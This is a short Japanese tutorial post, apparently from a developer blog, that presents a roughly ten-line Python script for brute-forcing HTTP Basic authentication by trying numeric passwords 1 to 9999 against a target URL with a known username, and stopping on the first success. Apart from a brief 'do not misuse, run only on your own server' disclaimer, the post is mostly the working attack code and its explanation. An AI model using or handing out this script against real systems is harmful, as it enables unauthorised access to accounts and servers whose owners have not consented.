Posted at

[ Python3 ] たった10行で作るBasic認証への総当たり攻撃


はじめに

この記事のコードは、悪用厳禁です。

自分の所有するサーバーのみでの実行をお願いします。


1. 必要なライブラリをインポートする

pip install requests


2. 実装する


main.py

import requests

import sys

for password in range(1,10000):
password = str(password)
res = requests.get('URL', auth=('User', password))
if 'WWW-Authenticate' in res.headers.keys():
None
else:
print( "%s is correct" % password )
sys.exit()


URL :攻撃対象のURL(*悪用厳禁)

User:ユーザ名(認証クリア可能なユーザ名)

Basic認証では、認証失敗した時にレスポンスヘッダにキー('WWW-Authenticate')が含まれている。そのため、認証成功する際はレスポンスヘッダーのキーに('WWW-Authenticate')が含まれていない時のパスワードを取得した。


まとめ

今回は、あらかじめユーザ名を把握している状態で 1~10000までの数字で Basic認証 へのアクセスを試行(総当たり攻撃)した。

また、実行時間を短縮するために、認証クリアした段階で処理を終了するよう実装してみた。